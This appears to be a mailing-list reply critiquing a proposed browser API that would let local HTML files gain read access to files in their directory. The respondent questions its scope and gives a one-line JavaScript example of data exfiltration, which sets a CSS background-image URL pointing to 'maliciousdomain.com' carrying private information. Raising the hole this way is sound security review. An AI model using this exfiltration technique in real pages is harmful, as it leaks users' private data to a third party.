David Kendal 於 4/9/2017 4:51 AM 寫道:
A proposed solution, though far from the only one possible:
There should be a new API something like this:
window.requestFilesystemPermission(requestedOrigin);
which does something like
- If permission was already granted for the specified requestedOrigin or
some parent directory of it, return true.
- If the current page origin is not a URL on the file: protocol, raise a
permissions error.
- If requestedOrigin does not share a root path with the current page
origin, raise a permissions error. That is, a file with the name
file:///mnt/html/index.html can request access to file:///mnt or to
file:///mnt/html, but *not* to file:///etc, where it could read the
local password file.
- The browser displays an alert to the page user showing the name and
path to the directory which has requested this permission. The user
can then choose to allow or deny access.
- If the user chose not to allow access to the files, false is returned
or some other error is raised.
- If they chose to allow access, return true.
- For the remainder of the session (user agent specific), all files
in the requestedOrigin directory, including the current page, have
total read access (with Fetch, XHR, etc.) to all other files in
the directory.
So if you put this file in the Windows Downloads directory, then it has
read access to all download files even though they aren't related? And
it grants access to all of those files—some of which may also be
HTML-based applications—again, even if they aren't related? If the user
is instructed to place it in the root directory and then grants it
permissions, it has access to read the entire operating system?
What if the file is used to dynamically write a CSS style declaration as in:
some_element.style.setProperty("background-image",
"url('http://maliciousdomain.com/?private-info="; + private_info + "')");
How do you address this security hole?
